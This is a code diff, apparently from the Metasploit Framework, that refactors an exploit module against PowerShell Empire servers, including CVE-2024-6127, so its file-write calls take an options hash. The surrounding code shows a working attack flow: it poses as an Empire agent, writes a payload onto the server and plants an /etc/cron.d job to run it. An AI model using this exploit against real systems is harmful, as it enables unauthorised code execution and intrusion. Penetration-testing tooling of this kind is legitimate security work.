Pass a Hash as argument

Author: Takahiro-Yoko

modules/exploits/linux/http/empire_skywalker.rb

@@ -180,7 +180,13 @@ def get_staging_key
     staging_key
   end
 
-  def write_file(path, data, session_id, session_key, server_epoch)
+  def write_file(path, data, session_id, session_key, opts)
+    if datastore['CVE'] == 'CVE-2024-6127'
+      write_file_cve_2024_6127(path, data, session_id, session_key, opts[:staging_key])
+      return
+    end
+    server_epoch = opts[:server_epoch]
+
     # target_url.path default traffic profile for empire agent communication
     # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
     data = create_packet(
@@ -267,6 +273,7 @@ def exploit
       fail_with(Failure::Unknown, "Failed to communicate with STAGE2") unless res and res.code == 200
       aes_decrypt(session_key, res.body)
 
+      opts = { staging_key: staging_key }
       log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
 
     else
@@ -289,6 +296,8 @@ def exploit
       server_epoch = body[0..9].to_i
       session_key = body[10..-1]
       print_good('Successfully negotiated an artificial Empire agent')
+
+      opts = { server_epoch: server_epoch }
       log_path = '/agent.log'
 
     end
@@ -308,20 +317,12 @@ def exploit
     end
 
     print_status("Writing payload to #{payload_path}")
-    if datastore['CVE'] == 'CVE-2024-6127'
-      write_file_cve_2024_6127(payload_path, payload_data, session_id, session_key, staging_key)
-    else
-      write_file(payload_path, payload_data, session_id, session_key, server_epoch)
-    end
+    write_file(payload_path, payload_data, session_id, session_key, opts)
 
     cron_path = '/etc/cron.d/' + rand_text_alpha(8)
     print_status("Writing cron job to #{cron_path}")
 
-    if datastore['CVE'] == 'CVE-2024-6127'
-      write_file_cve_2024_6127(cron_path, cron_file(cron_command), session_id, session_key, staging_key)
-    else
-      write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
-    end
+    write_file(cron_path, cron_file(cron_command), session_id, session_key, opts)
     print_status("Waiting for cron job to run, can take up to 60 seconds")
 
     register_files_for_cleanup(cron_path)